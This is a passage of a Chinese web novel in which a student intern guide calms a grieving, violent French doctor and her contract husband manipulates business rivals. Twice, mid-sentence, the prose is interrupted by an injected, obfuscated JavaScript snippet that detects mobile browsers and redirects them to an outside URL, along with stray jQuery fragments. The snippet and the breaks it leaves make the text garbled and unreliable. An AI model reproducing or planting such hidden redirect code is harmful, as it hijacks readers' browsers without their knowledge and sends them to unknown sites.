老头老太太们都很友善,集体笑起来,有八卦的老太干脆问她:“小可爱有男友吗?” “别这样问孩子,她会不好意思的,这是个人隐私。”有老头善意地提醒。 “你当初问Francois的时候可不是这样说的,你可连人家有过几任女朋友都问了。” 金笑笙一边拧了瓶装水递给木晓晞,一边瘪嘴耸肩肯定:“嗯哼,Hugo教授连我裤衩子买什么颜色都问了。” 全场笑倒。 在哄笑中,木晓晞也放松了很多,开始尝试用比较生疏和法语和他们交流。法国人说话很快,比考试录音快多了,加上这群老头老太太来自不同的地区,口音也很混杂,哪怕是很集中精神,有些的话她也还是听不太懂,中间好几次理解错了意思,出现跨频交流的情况,搞得满堂大笑。 “没关系的。”张洁用比较慢的法语跟她说,“大家都会这样,刚出来工作的时候,没人不会犯错。” 大家纷纷点头。 木晓晞红着脸正要感谢大家的理解,忽然有一个声音很突兀地出现。 准确说,是一声冷笑:“那我的工作可能和你们不同,作为一个医生,尤其是一个手术医生,从第一场手术开始就不被允许犯错。” 这话说得挺慢的,语音标准得像广播,所以木晓晞听懂了。正是因为听懂了,她的心跳一下咚咚咚地加速起来,紧张涌上了心头。 她的目光在人群中搜寻,最后停留在一个穿着格子衬衫戴着帽子,留着白色短胡须的老人身上。他看起来是这群人中年纪最大的那几个之一,应该有六十来岁的样子。 “连简单的会话都容易听错,如果真的遇到了更大的问题该怎么办?”老头目光锐利地盯着她,讥讽地问。 木晓晞一下愣住。 “Bernard!不要这样说。” 格子衫老头身边的人试图阻止他:“别介意,这家伙总是严肃地过分,医生都是这样。” “医生不严肃,你早就被送进炉子里烧了。” “Bernard,你太过分了,闭嘴吧,如果你不想参加这次小聚会,你可以回到你的房间里去待着。”有老太太听不下去,呵斥他。 格子衫老头满不在乎地嗤笑一声,扭头就打算离开。 场面一时有些尴尬。 张洁给金笑笙使了个眼色,金笑笙立马领会准备上前去送格子衫老头回隔壁的别墅。 “比如说呢?”木晓晞忽然问,“Bernard先生,比如说呢,哪些情况?” 金笑笙和张洁转过头,有些惊讶,似乎没想到她会出声。 格子衫老头贝尔纳闻言,也停了下来。 木晓晞小跑两步来到贝尔纳面前,用法语问他:“您说如果遇到更大的问题,听错话的话会很麻烦,我想知道您指的是怎么样的问题?” 人群中有人“哇哦”了一声。张洁两根眉毛都挑了起来,金笑笙也是没料到。 要知道这个叫贝尔纳的老头很不好惹,医学博士,心脏科医生,性格臭得无人能敌,是整个团中唯一一个独身出行的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282708|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拼团旅客。因为脾气不好,性格孤僻不合群,在团队中也一直处于落单状态,没人乐意跟他一组,如果出点什么交际上的麻烦,通常都是派金笑笙这个“万金油”去陪他。 贝尔纳扭头,用一双严苛的鹰眼盯着她,张口就说了一大串医学术语,木晓晞一个字都听不懂。 “以上所有的病,在发病前期都会出现口齿不清的情况。”他说,“说得清楚你都听不懂,如果说不清楚,而病人又恰好犯病了,你的听不清就成了犯罪,这个团都是中老年人,也是临床中最容易得这些病的群体。” 这简直是故意为难人。这些医学术语不要说木晓晞一个大二学生了,连本地人都不一定听说过。 有不喜欢贝尔纳的老头老太太开始安慰木晓晞:“别听他说,他说的那些我活了几十年都不懂。” 木晓晞跟安慰她的老人笑了笑,然后又看向贝尔纳,问他:“可以再说一遍吗?” 她说着掏出手机,调出录音模式。 “可以再说一遍吗?”她问贝尔纳,很温和地毫无敌意地问他,“我很想了解您说的内容,我现在不懂,可是如果您能再重复一次,我录下来拿回去查一查这些名词,也许我会弄明白一些,好吗?” 房间中一时陷入了安静之中,大家谁也没想到,她会这样回应。 格子衫的贝尔纳大约也没想到,只见他愣了几秒,然后看了眼她正在录音的手机,硬邦邦地说:“说了你也不懂。” 说罢就走了。 金笑笙看他离开后,回头跟木晓晞比了个大拇指,小声说“真有你的”,接着便快速地跟了上去。 贝尔纳走后,屋内的氛围一下子好了不少,大家很快又重新活跃了起来。 考虑到木晓晞的语言水平,大家用词造句都比较简单,跟她聊了很多,关于这个团体,关于他们前几天的行程,介绍了每个人自己的情况,互相认识了一番,以及聊了关于那位贝尔纳医生的事。 有人说:“别和他计较,他也不是故意的,他就是那个性格。” 还有人说:“是的,虽然我也不愿意和贝尔纳说话,但他也并不是个坏人,只是为人太偏执,固执得甚至有点神经质,我想这也许和他的家庭他的经历有关。” “什么经历?”木晓晞问。 “他的家人全部丧生了,因为一次事故,据说是他的儿子载着全家出游,而他作为心脏病医生,忽略了儿子出行前的一些身体方面的异常症状,导致儿子在驾车行驶的过程中突发心脏病,出了事故,全家都……连同他那两个可爱的正在上幼儿园的孙子一起。” …… 晚上是在度假酒店内自由活动,一同用餐后,大家随意安排自己的夜晚。 木晓晞这段实习期都要跟团生活,这段时间是在度假酒店,过阵子也要随团去外地。目前在这里,她的住处是和张洁金笑笙安排在一起的,三人住在连着的三个单间中。 在回屋之前,张洁将她叫到房间里来谈了一会儿话,主要内容是和她讲这段时间她可以做些什么,主要帮他们分担哪些部分的内容,以及夸她今晚做得很好的地方和安慰她:“贝尔纳不好相处并不是针对你的,他对每个人都是这样,希望你不要往心里去。” 木晓晞摇头:“我没有往心里去,我知道的张姐。” “不过今天做得很不错,镇住了场子。”张洁笑着揉了下她的头,“没有你自己说得那么差呀,我看你听说还是可以的嘛,不过一说话,时态和变式还是容易错哈,多练练就好了。” 木晓晞点头:“知道了张姐。” “如果你前面这段时间适应得不错,后期我给你一个小机会,让你试着独立讲解一个小景点的内容,你说呢?想不想试试?” “……”木晓晞一听要独立讲解,有点紧张,“我……” “我觉得你可以。”张洁很坚定地盯着她,“你要相信你自己可以……难不成你真是来打杂的?” 木晓晞艰难地点头:“我试试。” 张洁:“对嘛,就要这样,不管成不成,先试试,你不行,金笑笙会帮你,金笑笙不行还有我……不过小金嘛,他很不错。”说到这儿,她也有些八卦,“你有男朋友吗?” “啊?” “小金他单身,你有没有兴趣?” 金笑笙敲门的时候,正好听见屋里那一连串的“没有没有,我怎么可能对学长有兴趣,真没有”。 金笑笙:“……姐!开门!” 张洁打开门,用一脸糟糕的表情对他一瘪嘴:“你没机会了,她有对象了。” 金笑笙出师未捷身先死,难以置信地看向木晓晞:“啊?” 木晓晞干笑:“我……我……” 金笑笙:“单身?” 木晓晞抿着嘴,慢慢摇了下头。 天塌了。 也不算撒谎,她毕竟都领证了。虽然婚是假的,但证是真的。 她不想在这段时间和抬头不见低头见的金笑笙搞出什么暧昧,撒点半真半假的谎也无伤大雅吧? 回到卧室,木晓晞打开一整天都没有打开的手机刷了刷,没什么信息,大部分的红点都来自于同城发券和广告。 她挨着将红点点掉,直到点到张欣的那个对话框,张欣又发来了三条信息。 第一条:【我还是觉得好不可思议啊,你竟然结婚了。】 第二条:【那你和你老公岂不是要经常分居啊?你上学住校,只有周末才回家,能行吗?】 第三条:【对不起,我不是故意要问你隐私,我就是有点好奇,要是冒犯你了,你当我没问。】 在这三条信息之前,其实张欣已经关于她结婚这件事惊叹过了一大波。在偶遇她的当天晚上,发了她接近一百个不同惊讶造型的表情包。 看得出来真的很惊讶。 或者说,惊吓。 不怪她这么惊吓,要是她知道朝夕相处的舍友也默不作声结了婚,她大概也会有同样的反应。不管怎么说,才二十岁。 二十岁是个什么年龄?属于是再早个两岁,谈恋爱都会被归为早恋的年龄。 她竟然就这么结婚了,英年早婚。 虽然实际上是假的,但在别人眼里是真的。 她回复:【你都惊讶一百遍了,还没过劲儿吗?】 那头的张欣也不知道在干什么,秒回:【你俩什么时候办婚礼?】 木晓晞:“……”这死丫头,在胡言乱语些什么? 正当她不知道该怎么回的时候,手机内又涌进来两条信息。一条是微信,一条是短信。 微信是金笑笙发的:【收回前面的话,你不仅很可爱,还很帅。】 她只大概扫了一眼,感到有些为难,便选择忽略没有回复。 短信是徐敬孚发的,她至今都没有徐敬孚的微信。 徐敬孚的信息只有三个字—— 怎么样。 不知怎么,看到这三个字,心里忽然有一种莫名的感觉涌出。有点怪,有点不自然,同时又有点奇异的……踏实感。 就好像……像是家人一样。像真的家人一样。 信息是一个小时前发的。她试着编辑信息,删删减减编辑了半个小时,最后只回了四个字过去。 【挺顺利的。】 刚发过去,那一头便打来电话。 猛不丁的电话铃声惊得她差点没拿稳手机,她慌张地接起来,心脏怦怦跳:“喂?叔叔?” 低沉的男音从那头传来。 “怎么样?” 24.第 24 章 (二十四) 徐敬孚这段时间处理了钱成滨那边的事,这事说麻烦不麻烦,说不麻烦也要浪费些心思。 以他前段时间的调查和观察,钱成滨应该没想到木钧胆大到直接会找到度假山庄来,他大约还是以为自己仅仅是和人“聊了个天”。木钧应该是以“老丈人”名头狐假虎威向钱成滨许诺了回扣,而钱成滨大约则同样以阅岭集团的名头反向给木钧打了几剂强心针以换对方出血出得心甘情愿。 比较可笑的是,两个人都在撒谎,可双方应该都是当真了。 也因此,前阵子他和徐休有过一次谈话—— “如果三千万还不够,再给他些,给够。”徐休满不在意地笑笑,“这都是小钱,让他拿去用,如果能用好,那就是大钱……知道怎么用吗?” 徐敬孚没有说话,沉默地喝茶。 徐休知道他心里有想法,不过他并不在意,心情是难得的愉悦:“你不是早就被董事会那两个老东西搞得心烦吗?这是个好机会,本来我以为还要些时候才能找到抓手,这不是好运来了?你这个老婆娶得可以,既然老丈人要给你送一笔厚礼,那你就接着,木钧不是要重振雄风吗?钱成滨不是要吃回扣吗?好,给他们这个机会,让他们爽,爽够,爽晕。” 徐敬孚眼中毫无波澜,不过还是随着徐休谈起此事的喋喋不休慢慢闭上了眼。 看他这幅样子,徐休笑得更开朗:“有时候我真觉得,你确实是这块料。” 徐敬孚并不为这不知是夸是贬的评价所动,扯了下嘴角:“谢谢。” 徐休:“我相信,你和我的思路是一样的,对吗?” 徐敬孚不作声,只是将茶一饮而尽,站起身来向他微微鞠一躬,准备离开。 “如丧考妣。”徐休道,“何必摆出这样一幅脸,你知道如今你摊上的这些麻烦都是怎么来的?就是因为你当初太想做一个堂堂正正的好人,你应该庆幸你现在已经摆脱了这种错误病态的思维,进入到了一个新的阶段。” 徐敬孚继续往前走。 “没人要害木钧,我没有,你没有,我们只是给了他足够的钱,钱会害他吗?” “也没有人要害钱成滨,他做错这么多事,你我皆顾过往情分放他一马睁一只眼闭一只眼,甚至出力帮他摆脱困难。” 徐敬孚停下脚步。 徐休说:“徐敬孚,你马上三十八了,不要告诉我,都这个年纪了,你还天真地以为可以仅凭善良就能得到美好的生活,就可以叫他人高看你一眼。” 徐敬孚:“我没有这样想过。” 徐休:“我们只是为他们修了一条路,而这条路本来就存在,我们做的只是让这条路变得更清楚了一些,但路出现了人一定要走吗?脚长在别人身上,如果最后他们去了他们某个地方,那也是他们自己走过去的,是他们本就该去,他们应该问问自己的脚为什么会迈出那一步,而不是问这条路为什么存在,自我欺骗……就像你,你既然是这块料,那不如就诚实些,大大方方承认自己就是这块料。” 徐敬孚转过身:“什么料?” 徐休开玩笑说:“做坏人的料。” 也确如徐休所预测的那样,他们思路相同。 徐敬孚从头到尾没有选择打草惊蛇,而是借用徐休的名义以及另一件有重大财务纰漏的公共事务的名头启动内部自查,给另外两个小股东施压。 同时他去找了钱成滨,诈他。他告诉对方两个股东已经将他的事交代了出来,准备拿他顶锅,由于涉及的公司财务数额巨大,如果最终背锅坐牢,也许不是十年八年就能简单解决的事。他还说,如果钱成滨愿意交代部分事实,坦诚一些,那他可以保他。 作为兄弟的身份。 不出所料,钱成滨出于各种复杂的缘由和心情,很快便交代了很多事情。 之后,徐敬孚便拿了这次谈话的录音去找了股东,果不其然,那两个老东西被吓坏了。加上这段时间的纠察磨得他们心神不宁,于是也很快提出了以“权”换“全”,这把年纪了,能安全退休就已经算是大成功。 最终,股东亲自下场撸掉了钱成滨的副总职位,还私下找人将钱成滨一顿痛揍,连续骚扰他的亲戚朋友半个多月,使他的社会关系彻底破裂。 等股东发泄完毕后,他私下找人给了钱成滨一笔不大不小的安置费和一份不够体面但饿不死的工作。 同时间,又在找人秘密“帮助”木钧,给他介绍了一个合法渠道,帮助他获得了第三笔大钱——五千万项目贷款。 加上之前那两千万,三千万,就是整一个亿。刚好是木钧前来向他要债的数额。 而这钱,是徐休找他谈这一次话之前就已经给出去的。 但他没有止步于此,就像徐休说的,他从来也没打算过只做到这一步。或者说,他就是为了后面那瓶醋,特意包了前面这顿饺子。 徐休说得对,他天生就是个做坏人的料。 不过他也不算是彻底的坏人,他只是为亚当夏娃提供了一个可吃可不吃的苹果,给山沟里的人修了一条可走可不走的大马路。徐休也没说错。 脚长在别人身上。他这样告诉自己。 可是烟却抽得停不下来。 明明事情早已经处理得差不多了,在烦些什么呢? “陈遇。”他看着窗外的夕阳,抽着烟忽然问办公室里的另一个人,“如果有一天,你财富自由了,你会做什么?” 正在整理文件的陈遇听到这话,一时还以为自己听错了,他抬眼又确认了一下。 徐敬孚从看着窗外,到看着手里的雪茄:“好像和十块一包的烟也没太大的区别。” 陈遇没发表想法,他知道徐敬孚也从不是一个需要别人指点的人。 “您最近心情不太好。” “看得出来吗?” “我都得咽炎了,医生让我少抽烟。”陈遇从来不抽烟。 雪茄都在嘴边了,抽也不是,不抽也不是。 陈遇笑了一下:“木小姐没说过您抽烟的事吗?” 木晓晞? “没有。” “木小姐有过敏性鼻炎,应该对烟味会很敏感。” “你怎么知道?” “查到过,体检报告上有。”陈遇整理好资料,拿起来准备走人,不过想了想,还是说了一句在他看来有些不合时宜的话,“健康才是真正的财富,如今您已经不是一个人了,健康也不只是您一个人的事了。” 徐敬孚顿了一下,抬起眼来,却没有从对方的脸上看出任何异色。 陈遇跟他微微一躬身,转身离开了。 也不知在想什么,徐敬孚好一阵都没有再抽那根雪茄,虽然没抽,可也在嘴边徘徊了许久,像在犹豫着什么。 正在这时,手机震动,进来一条短信。 是木晓晞的。 【挺顺利的。】 而等他回过神时,电话已经拨出去了。 那头的木晓晞被他吓了一跳,他也被自己吓了一跳。 “喂,叔叔?”女孩儿柔软轻细的声音从那头传了过来,手机拿得太近,跟凑在他耳边叫人似的。他不自觉把手机拿远了一些,稳了一下心神后,开了外放。 “怎么样?” 殊不知那一头的木晓晞也做了同样的动作。 徐敬孚的声音本身就低,他抽烟又厉害,可能烟对嗓子有些影响,他每次刚抽完时嗓音都会有些沙哑。干干的,沉沉的,像磨砂纸擦过耳际,毫无边界地侵入耳道。 木晓晞被这普通的三个字惊得心跳不止:“嗯……?” 徐敬孚:“……”嗯什么? 这是两人头一次在电话里对话,有些怪,又说不出哪里怪。 徐敬孚对自己把电话打过来这个行为感到很离奇,不过打都打了,总不能现在又挂了,于是他又问:“今天顺利吗?” 木晓晞磕磕巴巴的声音从那头传来:“很,很顺利。” 徐敬孚:“哦。” 木晓晞:“……嗯。” 徐敬孚:“……” 木晓晞绞尽脑汁:“谢谢叔叔关心。” 徐敬孚想说“不谢”,又觉得很没营养。他本来就不属于那种爱聊天的,碰上个木晓晞,更是遇到了对手。他有些无奈:“……没了?” 这头的木晓晞在几个不露痕迹的呼吸后,心跳稍缓,她稍微平静了一些:“我一切都好,叔叔不用担心,这边的领队对我挺好的,而且……”很巧合,金笑笙也在这个团队里。但她不知道该不该说。 “而且什么?” 她还是决定说了:“前几天我们在餐厅遇到的那个学长,很巧,他也在这个旅行团里,他就是这个团的副领队。” “哦,金笑笙。”徐敬孚记忆力很好,“那个喜欢你的。” 木晓晞一下脸红:“不是不是,他没有喜欢我,我也没有喜欢他,就是普通的同学关系,我们根本不熟,根本没见过几次面。” 徐敬孚听到她有些慌张的语气,笑了一下,傍晚的落地窗外已漫天红光,他不知在什么时候已经把手里的烟放下,起身离开了他的老板椅,来到窗边,久违地欣赏起这片美丽的天空,嘴上还在随口逗小孩儿:“听起来不像,你一说起他,话都要多几句。” “还不是因为您老是说他喜欢我,根本没有这回事。”木晓晞有些急地解释。 徐敬孚只当她是不好意思,笑了:“就算有点什么也没关系,这个年纪,很正常。” 木晓晞被他几次三番地调侃,紧张去了大半,剩下都是无奈,天知道她真不想和金笑笙这样的角色配在一起。她嘟哝道:“我根本不喜欢这一款。” 徐敬孚感到放松了很多,靠在窗边,窗外有暖暖的风吹进来。 “那你喜欢哪一款?”他随口问。 问的时候,眼皮已经有些控制不住地往下垂落,脑子有些麻麻的。忽然有些困了。 他根本没意识到自己问的是个怎样敏感的问题,只觉得很舒服。沙发离窗户有些距离,他就干脆席地而坐,靠在墙角。 木晓晞是怎么回答的,他也没怎么听清,只听到那个平时话很少的小姑娘软软糯糯地说了一大串,说的是什么,他也没注意,只知道对面的声音像一把木梳,一下一下地梳着他的头皮,整个人好似坐在云上,懒散得没有一点支撑。 “……综上,我不喜欢他,叔叔不要再拿我和他取笑了。”木晓晞很坚决地说。 徐敬孚使劲地睁开眼,打了个哈欠:“好,不开玩笑了,吃饭了吗?” 木晓晞说吃了。 他又问:“在哪栋楼住?” 木晓晞说在哪栋。 “明天中午我刚好要去酒店,一起吃饭?” 小姑娘拒绝了他,说要工作,不方便出来。 他闭着眼笑了笑:“还挺认真。” 木晓晞:“我也想早点工作赚钱。”顿了顿,她又道,“攒点钱,能还您多少是多少。” 他脸上的笑慢慢被风吹散了一些。 “我真的很感激您,叔叔。”小姑娘说,“我也想报答您。” 这通电话最后是以徐敬孚很突兀地说他“有些累了”作为结束语挂掉的。 听到他这样说,木晓晞条件反射想要安慰人,说“辛苦了”,结果话还没说完,对面就直接挂断了。她看着挂断的手机,愣了好一会儿。 原本紧张忐忑又有些怪异的心情在这一刻,仿若过山车一般,忽地冲到了谷底,有些茫然无措。 她刚刚……是说错什么了吗? 正这样想着,徐敬孚那头给她发来信息:【加微信,就这个电话】。 她连忙拿起手机回复:【好】。接着光速加了对方的微信,等待通过。 徐敬孚的微信头像是一片黑色,但点开以后看,有稀疏不明显的星星在上头。看起来像自己手机拍的照片。 微信名字是他的本名。 徐敬孚很快就通过了,接着发来一条信息:【那你先忙。】 然后,便没有然后了。 木晓晞也很识相,在一堆emoji里挑,发了一杯“咖啡”过去。配文【叔叔辛苦了】。 发完以后,她有些莫名的低落,却不知道在低落什么。 她深吸了一口气,晃晃脑袋,起身去拿笔记本,准备将今天金笑笙给她的团队成员的资料以及行程安排挨着看一遍,做些记录。 第二天一早,她便很早就收拾好去了餐厅,按照旅行团成员头一晚订好的餐一样一样地去检查安排。 由于这个团中基本都是中老年人,所以她便根据每个人不同的情况以及旅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291197|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行前成员的体检报告进行了饮食上的调整,她从小和老人一起生活长大,很清楚中老年人的一些健康问题饮食习惯以及一些注意事项。 金笑笙说没必要这样做,都是成年人了,吃什么喝什么他们应该自己有数,没必要这样做。 木晓晞却不这样认为。 况且,她也并不是完全去改变对方的饮食,而是在那些基础上做一些搭配和调整。 她和服务员一起将餐一样一样地送去别墅里,向成员们分发“定制”饭菜,并向对方解释自己这样做的原因:“Isabelle,您有高血压,培根三明治和火腿并不是很适合您的身体情况,这里的三文鱼三明治也很不错,再搭配一杯牛奶和水果,能让您的身体舒服一些。” “Philippe,您有低血糖,我为您把果汁换成了一份无糖豆浆,如果您真的很想喝甜味饮品的话,我可以为您去装一瓶带上,如果在外面玩累了可以喝一些。” “还有……” 她挨着去向调整过食谱的成员解释了她调整的原因。 成员们一开始有些惊讶,但听到她说得很有道理之后纷纷跟她比出大拇指:“谢谢你Stella,你真是太贴心了,我都没想到这个。” 最后一个需要解释的对象是……怎么也没想到是团队里唯一的这位医生。 “Docteur Bernard。” 她没想到竟然会有人早上喝酒,而且还是一名心脏专科的医生。他还是特地跟酒店打了招呼,让早上给他送酒。 木晓晞询问他:“您为什么想要早上喝酒呢?” 贝尔纳淡淡扫她一眼,不答反问:“所以您为我搭配的早餐是什么呢?” 木晓晞将他的餐盘放到他的面前,轻声说:“一份燕麦粥,无糖酸奶,还有一份柚子,如果您服药时间已经超过一小时的话,现在就可以用餐了。” 贝尔纳拿过餐盘,一边吃一边问:“你的依据是什么?” “体检报告上显示您半年前做过甲状腺癌手术,高钙食物和酒精会影响药物吸收,并且会刺激肠胃,我记得您还有慢性胃炎。” 一连串的疾病和营养学术语,木晓晞说得并不算连贯,磕磕巴巴,有些语法错误,但是她还是坚持说完了。 贝尔纳:“你把所有人的体检报告全部背下来了?” 众人都好奇地看向木晓晞,包括领队张洁和金笑笙。 木晓晞抿了下嘴,还是回答了他:“基本上都记下来了。” 贝尔纳问:“花了多长时间?” 木晓晞:“一个多小时。” 贝尔纳:“查相关资料花了多久?” 木晓晞不知道他问这个干什么:“没多长时间,您用餐吧,我不打扰了。” 贝尔纳并不放过她,像个严厉的老师一样,很严肃地问她:“花了多少长时间?” “……三个小时。” “昨晚几点睡的?” “也不算很晚,十二点。” 贝尔纳低头吃燕麦片,好一阵不说话。 木晓晞看向张洁和金笑笙,金笑笙在给她比大拇指,其他人也是。 她刚准备回到自己的座位上,就听贝尔纳说:“你不是想知道我昨天说了哪些病名吗?一会儿拿着录音笔过来找我,我再跟你说一遍。” 并没有想象中的难搞。无论是这群中老年人还是贝尔纳,亦或者这份实习工作。 最近几天的工作都是在市区内进行,出游也是半天游玩半天吃喝,很是休闲。 即便没有木晓晞,这工作也不难做,但木晓晞很勤快,做事利索细心,安排的任何事只要经她的手,就会变成一个很详细的表格,一本随笔记录本,还有一个录音笔。 因此极大减少了张洁和金笑笙的工作量,比起之前那一周,这几天可以说是很悠闲了。 晚上休息前总结一天的工作时,金笑笙就说她:“别说,你这种性格比起学语言,其实更适合去学医,严肃认真地有点过分了,像个小学究,难怪bernard喜欢你。” 木晓晞很惊讶:“你说谁?” 金笑笙拿指头点她的鼻子,木晓晞惊得倒退两三步,他忍不住笑,张口就来:“Bernard喜欢你,我也喜欢你。” 木晓晞知道他的德性,根本不把后半句听进耳朵里,她一脸见鬼的模样:“Bernard?” “他明显很喜欢你啊,每天让你背那么多乱七八糟没用的东西,你又不是他的学生,占用你那么私人时间,臭老头也真好意思。”金笑笙看不惯她任人揉捏的性格,说她,“别人叫你背你就背啊,你是过来实习的,干完自己的工作该下班就下班,管他那么多干什么?” “我下班也没事干。” “怎么就没事了,打游戏,看电视剧,跟朋友聊天,跟男朋友打电话谈恋爱……不是事儿?” 木晓晞再次自动忽略掉那句“跟男朋友打电话谈恋爱”,一边翻看手里的导游解说词,一边说:“我是来实习的,就好好工作。” 金笑笙盯着认真看资料的木晓晞看了好几秒,忽然凑到她脸前:“你真的有男朋友?” 木晓晞吓得往后一仰,眼睛瞪得老大,幸亏坐在沙发上,不然都栽到地上了。 “不,不然呢?” “我觉得你在骗我。”金笑笙皱着鼻子,神经兮兮地说,“男人的第六感。” 木晓晞一个大白眼翻过去。 金笑笙一下笑起来,像条狗一样凑到她面前:“哎呀,要不你把你那个男朋友甩了,跟我好呗?不甩也行,我给你做地下情人,也可以,”说着五音不全地唱起了那首歌,“我是你的情人,像玫瑰花一样的男人……” 木晓晞好烦他:“哎呀走开走开!” 金笑笙终于把她惹生气了,哈哈大笑起来。 他心满意足地正要离开,忽然张洁打来电话:“你和晓晞今天见到Bernard拿相机了吗?” “怎么?” “他说他相机丢了,正在他们那栋别墅里大发雷霆,到处砸东西,疯了真是!”张洁气得要命,“他发神经到处冤枉人,说是别人偷了拿了他那个破相机,问题是根本就没人看到,赶紧出来找,要是找不到还要去城里今天去过的地方挨着找,这会儿时间早,去找的话还来得及!” 25.第 25 章 贝尔纳的这场怒火有多大,能把好脾气张洁都气得开始骂人,等木晓晞和金笑笙到了地方看到那一片狼藉的时候,就都明了了。 他们旅行团一共十二人,包的两栋别墅,六人一栋。 就算不是园区内的高档别墅,但光凭一栋房三间卧室,厨房卫浴客厅花园一应俱全这一点,在这个五星级的温泉度假酒店里哪怕是内部合作价也依旧高达六千多一晚。 而这样一栋房子,被贝尔纳这个疯子搞得稀烂。 木晓晞来的时候,正好看到厨房的玻璃门被贝尔纳这个疯子丢出去的椅子砸烂了,他大吼着:“找不到相机,谁都别玩了,谁都别想开心!” 型号玻璃门够结实,虽然砸烂了,但玻璃并没有飞溅出去。而屋内地面不是碎杯子茶壶就是沙发抱枕,还有歪来倒去的板凳和盆栽,以及两个碎掉的手机。 张洁在他对面大吼:“Bernard,如果你再这样下去,我要叫警察了!” 木晓晞和金笑笙都呆住了,没想到张洁说的发神经不是骂人,是真发神经。 弗朗索瓦活动着手腕跟张洁说:“叫警察吧,顺便把精神科医生也叫来,他疯了,他破坏了我们的旅程和心情,我忍了他一路,现在不想再忍下去了,如果之后还有他的存在,我希望你们给我退费,我自己去玩。” 他旁边的中年女人拉他:“别这样Francois,他只是太生气了,你知道他丢了很重要的东西,如果是你……” 弗朗索瓦骂道:“所以是我让他陷入不幸的吗?是我们做错了什么吗?不,没人做错什么,他的悲惨和我们无关!” 骂完便转头离开,中年女人连忙跟上去。 “叫警察吧,我也希望你们叫警察,我丢东西了,这里的警察应该帮我找回并抓到那个该死的小偷。”贝尔纳哈哈大笑着,一边朝木晓晞这边走过来,一边顺手拿起餐桌上的一个电水壶,快到木晓晞他们面前时突然抬起手臂。 木晓晞以为他要砸自己,一下瞪大了眼睛僵在原地,金笑笙这时往旁边一跨步挡在她面前:“冷静点贝尔纳先生,我们会帮你找相机的。” 贝尔纳问:“是不是你偷的?” 是在问木晓晞。 什么? “昨天,你一直跟在我身边,在我身边待的时间最长。”贝尔纳说。 “贝尔纳,你够了!”张洁走过来,“不要对一个小女孩胡言乱语,她为什么要拿你的东西?!” 金笑笙也试图握住贝尔纳的手臂:“医生,我想你现在太激动了,丢掉相机是谁都不愿意看见的事,我们会尽力……” 话还没说完,那个水壶就冲他身后的木晓晞砸过来了。 只听几声远处的惊呼,金笑笙没拦住,木晓晞也没躲及,她的额头被笨重的水壶砸了个正着,砸得她惯性往后退了好几步,碰到后面的椅子差点再一次摔倒,还好菲利普扶住了她,菲利普骂道:“该死的混蛋!你在干什么?!” 说着就要冲上去跟贝尔纳干架,金笑笙这一次拦住了:“菲利普,不要动手!菲利普!张姐,报警!” “你再动一下那个女孩,你别想走出中国了。”张洁骂骂咧咧地挡到木晓晞面前,咬牙切齿地说,“我现在就报警,你自找的。” 木晓晞被砸得头晕眼花,听到张洁的话,连忙高声道:“张姐,先不要!” 张洁电话都差点拨出去了,木晓晞拉住了她。 “先不要,我们先找找!” “先报警,报完了让警察找!看看到底是谁偷的?!”张洁气得冒烟,带队这么多年也没见过这种神经,还把木晓晞给打了,要知道木晓晞可是她老板亲自交代过来的实习生,混蛋,尽给她找麻烦!她心痛地看着木晓晞额头那个很快青肿起来的大包,“你没事吗?还好吗?我叫人送你去医院?” 木晓晞摇头:“我没事。” 然后她推开张洁和金笑笙,来到两只眼充满血丝的贝尔纳面前,问他:“贝尔纳医生,你还好吗?” 贝尔纳短促地笑了一声,反问她:“你说呢?” 木晓晞用很轻很低的声音说:“我感觉您不太好,您好像很伤心。” 贝尔纳通红的眼睛中突然溢出一丝湿润,不过表情还是恶狠狠的,盯着她一字一句地骂:“混蛋小偷。” “那个相机对您来说很重要,它是有什么特别的意义吗?”木晓晞慢慢地靠近他,还是很轻很轻地问,好像怕语气稍大一点就会惊动他。 张洁和金笑笙很紧张地看着她,生怕贝尔纳一发疯又要做出什么暴力行为。 木晓晞终于走到贝尔纳面前,握住他不住颤抖的手:“我能感受到您好像很绝望,就好像丢的不是相机,是您的生命。” 这个六十岁老人的手一直在抖,不停地颤抖,连同手臂一起陷入到一种无法自控的僵硬震颤的状态中。 手是冰凉的。 像棺材里的那只手。 她突然回忆起了过去,那些曾经被她遗忘掉的记忆和感受在这一刻涌了出来,同样干枯的手,同样冰冷的温度,同样带着死气的绝望,她努力用自己的两只手将贝尔纳的手包裹起来,试图给他传递一些温度。 曾经她也是这样做的,曾经也这样做过。 所以即使对方这样仇恨地看着她,她也并不害怕。 “是什么?”她坚定地握着贝尔纳的手,问他,“里面有什么?” 她的问题刚结束,老人那双混沌血红的眼睛便面无表情地涌下了两行眼泪。他没说是什么,但木晓晞已经猜到了。 她忍不住也流下眼泪,然后拥抱住这个用发疯来掩盖痛苦的老人,她不住地抚摸对方僵硬的脊背:“没事的,我会找到的,我会帮你找到的,我知道它很重要,它会被找到的,它会回来的……” 房间内陷入了一片寂静。 只剩下木晓晞温柔的安抚和无声的泪水。 “我什么也没有了。”贝尔纳说,“我只有照片。” 木晓晞想到了自己的曾经,年少的时候,她亲手烧过的那一张张照片。 一张又一张,全部丢进火盆里。 她当时天真地以为,只要烧掉了,就会全部忘掉。只要忘掉了,就不会痛苦。 